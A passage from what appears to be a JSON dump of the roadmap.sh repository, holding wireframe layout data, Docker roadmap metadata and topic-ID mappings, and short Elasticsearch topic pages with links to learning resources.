\"y\": \"0\",\n                                  \"properties\": {\n                                    \"color\": \"16777215\",\n                                    \"icon\": {\n                                      \"ID\": \"circle\",\n                                      \"size\": \"small\"\n                                    }\n                                  }\n                                },\n                                {\n                                  \"ID\": \"1\",\n                                  \"typeID\": \"Icon\",\n                                  \"zOrder\": \"1\",\n                                  \"measuredW\": \"24\",\n                                  \"measuredH\": \"24\",\n                                  \"x\": \"0\",\n                                  \"y\": \"0\",\n                                  \"properties\": {\n                                    \"color\": \"10066329\",\n                                    \"icon\": {\n                                      \"ID\": \"check-circle\",\n                                      \"size\": \"small\"\n                                    }\n                                  }\n                                }\n                              ]\n                            }\n                          }\n                        }\n                      ]\n                    }\n                  }\n                },\n                {\n                  \"ID\": \"3\",\n                  \"typeID\": \"__group__\",\n                  \"zOrder\": \"3\",\n                  \"measuredW\": \"180\",\n                  \"measuredH\": \"26\",\n                  \"w\": \"180\",\n                  \"h\": \"26\",\n                  \"x\": \"23\",\n                  \"y\": \"83\",\n                  \"properties\": {\n                    \"controlName\": \"ext_link:roadmap.sh/backend\"\n                  },\n                  \"children\": {\n                    \"controls\": {\n                      \"control\": [\n                        {\n                          \"ID\": \"0\",\n                          \"typeID\": \"Label\",\n                          \"zOrder\": \"0\",\n                          \"measuredW\": \"147\",\n                          \"measuredH\": \"25\",\n                          \"x\": \"33\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"size\": \"17\",\n                            \"text\": \"Backend Roadmap\"\n                          }\n                        },\n                        {\n                          \"ID\": \"1\",\n                          \"typeID\": \"__group__\",\n                          \"zOrder\": \"1\",\n                          \"measuredW\": \"24\",\n                          \"measuredH\": \"24\",\n                          \"w\": \"24\",\n                          \"h\": \"24\",\n                          \"x\": \"0\",\n                          \"y\": \"2\",\n                          \"children\": {\n                            \"controls\": {\n                              \"control\": [\n                                {\n                                  \"ID\": \"0\",\n                                  \"typeID\": \"Icon\",\n                                  \"zOrder\": \"0\",\n                                  \"measuredW\": \"24\",\n                                  \"measuredH\": \"24\",\n                                  \"x\": \"0\",\n                                  \"y\": \"0\",\n                                  \"properties\": {\n                                    \"color\": \"16777215\",\n                                    \"icon\": {\n                                      \"ID\": \"circle\",\n                                      \"size\": \"small\"\n                                    }\n                                  }\n                                },\n                                {\n                                  \"ID\": \"1\",\n                                  \"typeID\": \"Icon\",\n                                  \"zOrder\": \"1\",\n                                  \"measuredW\": \"24\",\n                                  \"measuredH\": \"24\",\n                                  \"x\": \"0\",\n                                  \"y\": \"0\",\n                                  \"properties\": {\n                                    \"color\": \"10066329\",\n                                    \"icon\": {\n                                      \"ID\": \"check-circle\",\n                                      \"size\": \"small\"\n                                    }\n                                  }\n                                }\n                              ]\n                            }\n                          }\n                        }\n                      ]\n                    }\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9537\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"33\",\n          \"measuredW\": \"350\",\n          \"measuredH\": \"141\",\n          \"w\": \"350\",\n          \"h\": \"141\",\n          \"x\": \"1443\",\n          \"y\": \"646\",\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Canvas\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"350\",\n                  \"h\": \"141\",\n                  \"measuredW\": \"100\",\n                  \"measuredH\": \"70\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"314\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"14\",\n                  \"y\": \"17\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Find the detailed version of this roadmap\"\n                  }\n                },\n                {\n                  \"ID\": \"2\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"2\",\n                  \"measuredW\": \"319\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"14\",\n                  \"y\": \"45\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"along with resources and other roadmaps\"\n                  }\n                },\n                {\n                  \"ID\": \"3\",\n                  \"typeID\": \"__group__\",\n                  \"zOrder\": \"3\",\n                  \"measuredW\": \"320\",\n                  \"measuredH\": \"45\",\n                  \"w\": \"320\",\n                  \"h\": \"45\",\n                  \"x\": \"15\",\n                  \"y\": \"81\",\n                  \"properties\": {\n                    \"controlName\": \"ext_link:roadmap.sh\"\n                  },\n                  \"children\": {\n                    \"controls\": {\n                      \"control\": [\n                        {\n                          \"ID\": \"0\",\n                          \"typeID\": \"Canvas\",\n                          \"zOrder\": \"0\",\n                          \"w\": \"320\",\n                          \"h\": \"45\",\n                          \"measuredW\": \"100\",\n                          \"measuredH\": \"70\",\n                          \"x\": \"0\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"borderColor\": \"4273622\",\n                            \"color\": \"4273622\"\n                          }\n                        },\n                        {\n                          \"ID\": \"2\",\n                          \"typeID\": \"Label\",\n                          \"zOrder\": \"1\",\n                          \"measuredW\": \"172\",\n                          \"measuredH\": \"28\",\n                          \"x\": \"74\",\n                          \"y\": \"8\",\n                          \"properties\": {\n                            \"color\": \"16777215\",\n                            \"size\": \"20\",\n                            \"text\": \"https://roadmap.sh\"\n                          }\n                        }\n                      ]\n                    }\n                  }\n                }\n              ]\n            }\n          }\n        }\n      ]\n    },\n    \"attributes\": {\n      \"name\": \"New Wireframe 1 copy\",\n      \"order\": 1000010.2336643032,\n      \"parentID\": null,\n      \"notes\": \"\"\n    },\n    \"branchID\": \"Master\",\n    \"resourceID\": \"D5E1AC09-3023-4145-A52A-4D904363A065\",\n    \"mockupH\": \"2283\",\n    \"mockupW\": \"1186\",\n    \"measuredW\": \"1809\",\n    \"measuredH\": \"2893\",\n    \"version\": \"1.0\"\n  },\n  \"groupOffset\": {\n    \"x\": 0,\n    \"y\": 0\n  },\n  \"dependencies\": [],\n  \"projectID\": \"file:///Users/kamrify/Desktop/New%20Roadmaps/New%20Project%201.bmpr\"\n}"
  },
  {
    "path": "src/data/roadmaps/docker/docker.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/docker.json'\npdfUrl: '/pdfs/roadmaps/docker.pdf'\norder: 14\nrenderer: 'editor'\nbriefTitle: 'Docker'\nbriefDescription: 'Step by step guide to learning Docker in 2025'\ntitle: 'Docker Roadmap'\ndescription: 'Step by step guide to learning Docker in 2025'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 1830\nschema:\n  headline: 'Docker Roadmap'\n  description: 'Learn how to use Docker with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/docker.png'\n  datePublished: '2023-05-10'\n  dateModified: '2023-05-10'\nseo:\n  title: 'Docker Roadmap'\n  description: 'Step by step guide to learn Docker in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  keywords:\n    - 'docker tutorial'\n    - 'step by step guide for docker'\n    - 'docker for beginners'\n    - 'how to learn docker'\n    - 'use docker in production'\n    - 'docker roadmap 2025'\n    - 'guide to learning docker'\n    - 'docker roadmap'\n    - 'docker learning path'\n    - 'docker learning roadmap'\n    - 'docker learning roadmap 2025'\n    - 'container roadmap'\n    - 'container roadmap 2025'\n    - 'docker'\n    - 'docker learning guide'\n    - 'docker skills'\n    - 'docker for development'\n    - 'docker for development skills'\n    - 'docker for development skills test'\n    - 'docker learning guide'\n    - 'become a docker expert'\n    - 'docker career path'\n    - 'learn docker for development'\n    - 'what is docker'\n    - 'docker quiz'\n    - 'docker interview questions'\nrelatedRoadmaps:\n  - 'devops'\n  - 'backend'\n  - 'kubernetes'\n  - 'linux'\n  - 'aws'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/docker/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/docker/migration-mapping.json",
    "content": "{\n  \"introduction\": \"Py9nst2FDJ1_hoXeX_qSF\",\n  \"introduction:what-are-containers\": \"74JxgfJ_1qmVNZ_QRp9Ne\",\n  \"introduction:need-for-containers\": \"i4ijY3T5gLgNz0XqRipXe\",\n  \"introduction:bare-metal-vm-containers\": \"3hatcMVLDbMuz73uTx-9P\",\n  \"introduction:docker-and-oci\": \"43drPbTwPqJQPyzwYUdBT\",\n  \"underlying-technologies\": \"jrH1qE6EnFXL4fTyYU8gR\",\n  \"underlying-technologies:namespaces\": \"BvV8VCX39wRB-g8WvGF1g\",\n  \"underlying-technologies:cgroups\": \"fRl4EfNwlBiidzn3IV34-\",\n  \"underlying-technologies:union-filesystems\": \"vEUfw_vobshuZI0-q8RZo\",\n  \"installation-setup\": \"01nDXqxVdMv4SeXc0nYHH\",\n  \"installation-setup:docker-desktop\": \"NCdsPRhJy7UtQFNLo1J1f\",\n  \"installation-setup:docker-engine\": \"0NKqLUWtJMlXn-m6wpA6f\",\n  \"docker-basics\": \"kIqx7Inf50mE9W0juwNBz\",\n  \"data-persistence\": \"uUPYXmwu27SBPqKZx6U_q\",\n  \"data-persistence:ephemeral-container-fs\": \"086zZYjtzdCaDHm-MkSqg\",\n  \"data-persistence:volume-mounts\": \"woemCQmWTR-hIoWAci3d5\",\n  \"data-persistence:bind-mounts\": \"wZcCW1ojGzUakHCv2AaI1\",\n  \"using-third-party-images\": \"LShK3-1EGGuXnEvdScFR7\",\n  \"using-third-party-images:databases\": \"jKSE_wKYf4P9wnSh_LkMi\",\n  \"using-third-party-images:interactive-test-environments\": \"HlTxLqKNFMhghtKF6AcWu\",\n  \"using-third-party-images:command-line-utilities\": \"YzpB7rgSR4ueQRLa0bRWa\",\n  \"building-container-images\": \"5OEfBQaYNOCi999x6QUqW\",\n  \"building-container-images:dockerfiles\": \"yGRQcx64S-yBGEoOeMc55\",\n  \"building-container-images:efficient-layer-caching\": \"frshJqVMP8D7o_7tMZMPI\",\n  \"building-container-images:image-size-and-security\": \"-8wAzF6_3gruiM3VYMvB0\",\n  \"container-registries\": \"3VKPiMfbGBxv9m_SljIQV\",\n  \"container-registries:dockerhub\": \"rxVR62_yXIjc-L4GFSV6u\",\n  \"container-registries:dockerhub-alt\": \"fh5aERX7c-lY9FPsmftoF\",\n  \"container-registries:image-tagging-best-practices\": \"Vs4WQwgJFhA63U9Gf2ym0\",\n  \"running-containers\": \"z2eeBXPzo-diQ67Fcfyhc\",\n  \"running-containers:docker-run\": \"6eu5NRA1sJuaHTlHtNurc\",\n  \"running-containers:docker-compose\": \"jjA9E0J8N2frfeJCNtA1m\",\n  \"running-containers:runtime-config-options\": \"mAaEz-bwB5DLaBbOSYGMn\",\n  \"container-security\": \"78YFahP3Fg-c27reLkuK4\",\n  \"container-security:image-security\": \"M5UG-ZcyhBPbksZd0ZdNt\",\n  \"container-security:runtime-security\": \"vYug8kcwrMoWf8ft4UDNI\",\n  \"docker-cli\": \"b-LwyYiegbF0jIrn7HYRv\",\n  \"docker-cli:images\": \"3Nsg-F3wMKEzEsXw1MBZv\",\n  \"docker-cli:containers\": \"jhwe-xfVc-C7qy8YuS5dZ\",\n  \"docker-cli:volumes\": \"eHtVLB6v3h7hatJb-9cZK\",\n  \"docker-cli:networks\": \"w5QjzvOaciK2rotOkjvjQ\",\n  \"developer-experience\": \"hHXTth0ZP8O-iMGR9xfu9\",\n  \"developer-experience:hot-reloading\": \"4p5d3rzCHy4vjg2PRX-2k\",\n  \"developer-experience:debuggers\": \"LiAV9crrTHhLqeZhD25a2\",\n  \"developer-experience:tests\": \"Kmyo1_Mor9WHLkRhNShRZ\",\n  \"developer-experience:continuous-integration\": \"oyqw4tr-taZcxt5kREh1g\",\n  \"deploying-containers\": \"qXOGqORi3EdqwsP9Uhi9m\",\n  \"deploying-containers:paas-options\": \"PP_RRBo_pThe2mgf6xzMP\",\n  \"deploying-containers:kubernetes\": \"RqXpX2XabtHYVjgg1EZR_\",\n  \"deploying-containers:docker-swarm\": \"ks6PFN-0Z9zH7gtWaWgxz\",\n  \"deploying-containers:nomad\": \"r1eJZDZYouUjnGwAtRbyU\"\n}"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/api-keys@6LJ8UCBA9jj4ENk1iLwC6.md",
    "content": "# API Keys\n\nAPI keys in Elasticsearch provide a mechanism for authentication and authorization, allowing users or applications to securely access Elasticsearch APIs. They are a more granular alternative to using usernames and passwords, enabling you to restrict access to specific resources and actions. API keys can be configured with specific roles and privileges, limiting what a user or application can do within the Elasticsearch cluster.\n\nVisit the following resources to learn more:\n\n- [@official@Elasticsearch API keys](https://www.elastic.co/docs/deploy-manage/api-keys/elasticsearch-api-keys)\n- [@official@Create an API key](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-security-create-api-key)\n- [@article@Creating API Keys in Elasticsearch: An Advanced Guide](https://opster.com/guides/elasticsearch/security/api-keys-in-elasticsearch/)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/authentication@b4PSjo2xVnkih7e9XlnQs.md",
    "content": "# Authentication\n\nAuthentication is the process of verifying the identity of a user or system attempting to access a resource. It ensures that only authorized individuals or applications can gain entry by requiring them to prove who they are, typically through credentials like usernames and passwords, API keys, or certificates. This process confirms that the user or system is indeed who they claim to be before granting access.\n\nVisit the following resources to learn more:\n\n- [@official@User authentication](https://www.elastic.co/docs/deploy-manage/users-roles/cluster-or-deployment-auth/user-authentication)\n- [@official@Authentication](https://www.elastic.co/docs/api/doc/elasticsearch/authentication)\n- [@official@Minimal security setup](https://www.elastic.co/docs/deploy-manage/security/set-up-minimal-security)\n- [@article@Elasticsearch Basic Authentication for Cluster (EN)](https://medium.com/@kaangorur/elasticsearch-basic-authentication-for-cluster-en-3728ba7acf8a)\n- [@article@Implementing Elasticsearch API Authentication for Enhanced Security](https://opster.com/guides/elasticsearch/security/elasticsearch-api-authentication/)\n- [@video@File-Based Realm User Authentication | Elasticsearch Self-Managed | Support Troubleshooting](https://www.youtube.com/watch?v=sueO7sz1buw)\n- [@video@Token Based Authentication Using API Keys to access Elasticsearch](https://www.youtube.com/watch?v=5vBa7AwfslE)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/autoscaling@pBQsOfU5JlCMTSdKVU0C2.md",
    "content": "# Autoscaling\n\nAutoscaling is the ability of a system to automatically adjust its resources (like compute, memory, or storage) based on the current demand. This means that the system can scale up (add more resources) when demand increases and scale down (remove resources) when demand decreases, all without manual intervention. This ensures optimal performance and cost efficiency by only using the resources that are actually needed.\n\nVisit the following resources to learn more:\n\n- [@official@Autoscaling](https://www.elastic.co/docs/deploy-manage/autoscaling)\n- [@official@Autoscaling example](https://www.elastic.co/guide/en/cloud-enterprise/3.7/ece-autoscaling-example.html)\n- [@article@Unlocking Elastic Scalability: A Comprehensive Guide to Enable Autoscaling in Elasticsearch](https://medium.com/@prosenjeet.saha88/unlocking-elastic-scalability-a-comprehensive-guide-to-enable-autoscaling-in-elasticsearch-ff6ab1000b65)\n- [@video@Autoscale your Elastic Cloud deployment](https://www.youtube.com/watch?v=kS-_uJMxotU&t=14s)\n- [@video@Autoscaling - Daily Elastic Byte S04E11](https://www.youtube.com/watch?v=g3_YddGpMrs&t=10s)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/avg--sum--min--max@Avit-NGMkIA9JwJ7OUiNZ.md",
    "content": "# Avg, Sum, Min, and Max Aggregations\n\nThese aggregations are fundamental tools for calculating statistical summaries of numerical data. They compute the average (Avg), total (Sum), smallest value (Min), and largest value (Max) respectively, across a set of documents that match a query. These aggregations operate on numeric fields within your Elasticsearch indices, providing insights into the distribution and range of your data.\n\nVisit the following resources to learn more:\n\n- [@official@Aggregations](https://www.elastic.co/docs/explore-analyze/query-filter/aggregations)\n- [@official@Avg aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-metrics-avg-aggregation)\n- [@official@Sum aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-metrics-sum-aggregation)\n- [@official@Max aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-metrics-max-aggregation)\n- [@official@Min aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-metrics-min-aggregation)\n- [@article@A Basic Guide To Elasticsearch Aggregations](https://logz.io/blog/elasticsearch-aggregations/)\n- [@article@ElasticSearch Aggregation & Queries](https://medium.com/@souravchoudhary0306/elasticsearch-aggregation-queries-557131ef5ea4)\n- [@video@Learn about elastic search aggregation in 15 minutes](https://www.youtube.com/watch?v=ZziIEDfA8ZE)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/bm25-algorithm@MqoJJv_aZCdCLHLpebrPA.md",
    "content": "# BM25 Algorithm\n\nBM25 (Best Matching 25) is a ranking function used by search engines to estimate the relevance of documents to a given search query. It's a bag-of-words retrieval function that scores documents based on the query terms appearing in each document, taking into account term frequency and document length. The algorithm adjusts for document length, preventing longer documents from being unfairly favored, and also considers how frequently a term appears in the entire collection of documents.\n\nVisit the following resources to learn more:\n\n- [@official@Practical BM25 - Part 1: How Shards Affect Relevance Scoring in Elasticsearch](https://www.elastic.co/blog/practical-bm25-part-1-how-shards-affect-relevance-scoring-in-elasticsearch)\n- [@official@Practical BM25 — Part 2: The BM25 Algorithm and its variables](https://www.elastic.co/blog/practical-bm25-part-2-the-bm25-algorithm-and-its-variables)\n- [@official@Practical BM25 - Part 3: Considerations for Picking b and k1 in Elasticsearch](https://www.elastic.co/blog/practical-bm25-part-3-considerations-for-picking-b-and-k1-in-elasticsearch)\n- [@official@Improved Text Scoring with BM25](https://www.elastic.co/elasticon/conf/2016/sf/improved-text-scoring-with-bm25)\n- [@article@Okapi BM25](https://en.wikipedia.org/wiki/Okapi_BM25)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/boolean@8bNqL02B9VFraXaRDaxDq.md",
    "content": "# Boolean Data Type\n\nA boolean data type represents a logical value, which can be either true or false. It's used to store binary information, indicating whether a condition is met or not, or representing a simple yes/no state. This data type is fundamental for filtering, decision-making, and representing flags within a dataset.\n\nVisit the following resources to learn more:\n\n- [@official@Boolean field type](https://www.elastic.co/docs/reference/elasticsearch/mapping-reference/boolean)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/boosting-queries@ebU65cyHH2TVGrQOHjILk.md",
    "content": "# Boosting Queries\n\nBoosting queries in Elasticsearch allows you to influence the relevance score of documents based on specific criteria. It works by increasing or decreasing the score of documents that match certain query clauses, effectively prioritizing some results over others. This helps to fine-tune search results to better align with user intent and improve the overall precision of your search.\n\nVisit the following resources to learn more:\n\n- [@official@Boosting query](https://www.elastic.co/docs/reference/query-languages/query-dsl/query-dsl-boosting-query)\n- [@official@Relevance Tuning Guide, Weights and Boosts](https://www.elastic.co/guide/en/app-search/current/relevance-tuning-guide.html)\n- [@article@Elasticsearch Boosting Query](https://opster.com/guides/elasticsearch/search-apis/boosting-query/)\n- [@article@Elasticsearch Boosting Query - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-boosting-query)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/bulk-index@3VH_cfXDDZbYma-DL14Fe.md",
    "content": "# Bulk Indexing\n\nBulk indexing in Elasticsearch is a way to send multiple indexing, updating, or deleting operations to the Elasticsearch cluster in a single request. Instead of sending each document individually, you batch them together, which significantly reduces the overhead of network communication and processing, leading to faster indexing speeds. This approach is particularly useful when dealing with large datasets or when needing to ingest data quickly.\n\nVisit the following resources to learn more:\n\n- [@official@Bulk index or delete documents](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-bulk)\n- [@article@Tune for indexing speed](https://www.elastic.co/docs/deploy-manage/production-guidance/optimize-performance/indexing-speed)\n- [@article@How to Index Elasticsearch Documents with the Bulk API in Python](http://towardsdatascience.com/how-to-index-elasticsearch-documents-with-the-bulk-api-in-python-b5bb01ed3824/)\n- [@article@Optimizing Elasticsearch Bulk Indexing for High Performance](https://opster.com/guides/elasticsearch/how-tos/optimizing-elasticsearch-bulk-indexing-high-performance/)\n- [@video@Bulk API for Multiple Document Indexing and Modification [ElasticSearch 7 for Beginners #3.3]](https://www.youtube.com/watch?v=6IYkfn9me-w)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/bulk-index@s1Finic6tTeSbgXt1nz30.md",
    "content": "# Reindex API\n\nThe Reindex API in Elasticsearch allows you to copy documents from one index to another. This is useful for a variety of tasks, including changing the mapping of an index, upgrading to a new Elasticsearch version, or splitting a large index into smaller ones. It essentially reads documents from a source index and writes them into a destination index, optionally applying transformations along the way.\n\nVisit the following resources to learn more:\n\n- [@official@Reindex documents](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-reindex)\n- [@article@Reindex indices examples](https://www.elastic.co/docs/reference/elasticsearch/rest-apis/reindex-indices)\n- [@article@Elasticsearch Reindexing: When to Reindex, Best Practices and Alternatives](https://medium.com/@jmills2010/elasticsearch-reindexing-when-to-reindex-best-practices-and-alternatives-7ebfa11667a0)\n- [@article@Elasticsearch Reindex API: A Guide to Data Management](https://last9.io/blog/elasticsearch-reindex-api/)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/cardinality@vrj87U2jNHEQhUlUKvm0z.md",
    "content": "# Cardinality Aggregation\n\nCardinality aggregation is used to estimate the number of unique values in a field. It's particularly useful when you need to count distinct items but don't need the actual unique values themselves. This aggregation provides an approximate count, balancing accuracy with performance, especially when dealing with large datasets.\n\nVisit the following resources to learn more:\n\n- [@official@Cardinality aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-metrics-cardinality-aggregation)\n- [@article@Elasticsearch Cardinality – Low + High Cardinality Fields](https://opster.com/guides/elasticsearch/data-architecture/elasticsearch-cardinality/)\n- [@article@Elasticsearch Cardinality Aggregation - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-cardinality-aggregation)\n- [@video@Beginner’s Crash Course to Elastic Stack - Part 4: Aggregations](https://www.youtube.com/watch?v=iGKOdep1Iss&t=1184s)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/cat-api@IbkvRfpVm1iNSU9jH0MLO.md",
    "content": "# CAT API\n\nThe CAT API in Elasticsearch provides a simple, human-readable way to access cluster-level information using a command-line interface or a RESTful API. It returns data in a tabular format, making it easy to understand and interpret the status, health, and performance metrics of your Elasticsearch cluster. This API is primarily used for monitoring and troubleshooting purposes.\n\nVisit the following resources to learn more:\n\n- [@official@Compact and aligned text (CAT)](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-cat)\n- [@official@Get the cluster health status](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-health)\n- [@article@Mastering the Elasticsearch Cat API for Efficient Cluster Management](https://opster.com/guides/elasticsearch/search-apis/elasticsearch-cat-api/)\n- [@article@Elasticsearch - Cat APIs](https://www.tutorialspoint.com/elasticsearch/elasticsearch_cat_apis.htm)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/cluster-monitoring@TqamknoJp5OQnvqpQpJHx.md",
    "content": "# Cluster Monitoring\n\nCluster monitoring involves continuously observing the health, performance, and resource utilization of an Elasticsearch cluster. This process helps identify potential issues, bottlenecks, and anomalies that could impact the cluster's stability and responsiveness. Effective monitoring allows administrators to proactively address problems, optimize resource allocation, and ensure the cluster operates efficiently.\n\nVisit the following resources to learn more:\n\n- [@official@Monitoring](https://www.elastic.co/docs/deploy-manage/monitor)\n- [@official@Track what's happening in your Elastic Stack](https://www.elastic.co/elasticsearch/monitoring)\n- [@official@Stack monitoring](https://www.elastic.co/docs/deploy-manage/monitor/stack-monitoring)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/cluster-system@UVFo66FzwLOPFjafCMQg2.md",
    "content": "# Cluster (System)\n\nA cluster is a collection of one or more Elasticsearch nodes that work together to store and process data. It provides a distributed and scalable system where data is divided into shards and distributed across multiple nodes for redundancy and performance. The cluster manages indexing, searching, and analysis operations across all nodes, presenting a unified view of the data to the user.\n\nVisit the following resources to learn more:\n\n- [@official@Deploy an Elasticsearch cluster](http://elastic.co/docs/deploy-manage/deploy/self-managed/installing-elasticsearch)\n- [@official@Clusters, nodes, and shards](https://www.elastic.co/docs/deploy-manage/distributed-architecture/clusters-nodes-shards)\n- [@article@How to setup and install Elasticsearch: From a single node to a cluster of nodes](http://severalnines.com/blog/how-to-setup-and-install-elasticsearch-cluster/)\n- [@article@Mastering the Art of Elasticsearch Cluster Setup](https://opster.com/guides/elasticsearch/operations/elasticsearch-cluster-setup/)\n- [@video@Elasticsearch basic concepts | cluster, shards, nodes | Elasticsearch tutorial for beginners](https://www.youtube.com/watch?v=GH6hO2L4LR0)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/controlling-search-results@QzkAFCH4nGZbVudp_bSh_.md",
    "content": "# Controlling Search Results\n\nControlling search results involves influencing the order and relevance of documents returned by a search query. This includes techniques to boost the score of certain documents, filter out unwanted results, and tailor the search experience to meet specific user needs. It allows for fine-tuning the search process beyond basic keyword matching.\n\nVisit the following resources to learn more:\n\n- [@official@Result Settings Guide](https://www.elastic.co/guide/en/app-search/current/result-settings-guide.html)\n- [@official@Filter search results](https://www.elastic.co/docs/reference/elasticsearch/rest-apis/filter-search-results)\n- [@article@Elasticsearch in Action: Manipulating Search Results](https://mkonda007.medium.com/elasticsearch-in-action-manipulating-search-results-6c312ea0495b)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/coordinating-nodes@eIGt2YQdHRssD_7TncWdf.md",
    "content": "# Coordinating Nodes\n\nCoordinating nodes in Elasticsearch are like traffic controllers. They receive client requests, route them to the appropriate data nodes that hold the relevant data shards, and then consolidate the results before sending them back to the client. These nodes don't hold any data themselves, but they play a crucial role in distributing the workload and ensuring efficient query execution across the cluster.\n\nVisit the following resources to learn more:\n\n- [@official@Coordinating node](https://www.elastic.co/docs/deploy-manage/distributed-architecture/clusters-nodes-shards/node-roles#coordinating-node)\n- [@official@Coordinating only node](https://www.elastic.co/docs/deploy-manage/distributed-architecture/clusters-nodes-shards/node-roles#coordinating-only-node-role)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/create-index@raYmik0mnI2_gu2dpWKzF.md",
    "content": "# Create Index\n\nCreating an index in Elasticsearch using the Document API involves sending a PUT request to the Elasticsearch server. This request specifies the name of the index you want to create. You can also include settings and mappings in the request body to configure how the index should store and analyze your data. If the index doesn't already exist, Elasticsearch will create it based on the provided configuration. If the index exists, you will get an error.\n\nVisit the following resources to learn more:\n\n- [@official@Create an index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-create)\n- [@article@Elasticsearch Index – How to create, list, query and delete indices](https://opster.com/guides/elasticsearch/glossary/elasticsearch-index/)\n- [@article@10 Elastic Search Tutorial - How to Create Elastic Index and Settings](https://www.youtube.com/watch?v=74lS14dqyBs)\n- [@video@09 Elastic Search Tutorial - How to create Index Document in Elastic Search](https://www.youtube.com/watch?v=YWDm6uNtk0U)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/cross-cluster-replication@NFUpYASxryl5ne1jHfj-E.md",
    "content": "# Cross-Cluster Replication\n\nCross-cluster replication (CCR) allows you to replicate indices and their data from one Elasticsearch cluster to another. This enables scenarios like disaster recovery, where a secondary cluster can take over if the primary fails, and data locality, where data is replicated closer to users in different geographic regions for faster access. CCR ensures data consistency across clusters, providing a reliable and efficient way to maintain data availability and resilience.\n\nVisit the following resources to learn more:\n\n- [@official@Cross-cluster replication](https://www.elastic.co/docs/deploy-manage/tools/cross-cluster-replication)\n- [@official@Set up cross-cluster replication](https://www.elastic.co/docs/deploy-manage/tools/cross-cluster-replication/set-up-cross-cluster-replication)\n- [@official@Replicate Elasticsearch Data with Cross-Cluster Replication (CCR)](https://www.elastic.co/virtual-events/replicate-elasticsearch-data-cross-cluster-replication-ccr)\n- [@official@Follow the Leader: An Introduction to Cross-Cluster Replication in Elasticsearch](https://www.elastic.co/blog/follow-the-leader-an-introduction-to-cross-cluster-replication-in-elasticsearch)\n- [@video@Elasticsearch Cross-Cluster Replication (CCR)](https://www.youtube.com/watch?v=2Uwh-H_qazE)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/custom-analyzers@Y-4FlvsZPCP1WISOvcPMW.md",
    "content": "# Custom Analyzers\n\nCustom analyzers in Elasticsearch provide a way to define how text is processed both when indexing documents and when searching. They allow you to combine character filters, tokenizers, and token filters in a specific order to tailor the analysis process to your specific needs, such as handling language-specific nuances or removing unwanted characters. This customization ensures that your search results are more relevant and accurate.\n\nVisit the following resources to learn more:\n\n- [@official@Create a custom analyzer](https://www.elastic.co/docs/manage-data/data-store/text-analysis/create-custom-analyzer)\n- [@official@Specify an analyzer](https://www.elastic.co/docs/manage-data/data-store/text-analysis/specify-an-analyzer)\n- [@article@Mastering Elasticsearch Custom Analyzers for Enhanced Search Capabilities](https://opster.com/guides/elasticsearch/data-architecture/elasticsearch-custom-analyzers/)\n- [@article@Custom analyzer building in Elasticsearch](https://medium.com/elasticsearch/custom-analyzer-building-in-elasticsearch-4e86f7c9c3be)\n- [@video@Elasticsearch Custom Analyzers - V1](https://www.youtube.com/watch?v=0ZuRExiHn1A)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/data-nodes@0t2kxHBbL6kXn3C1sgGEE.md",
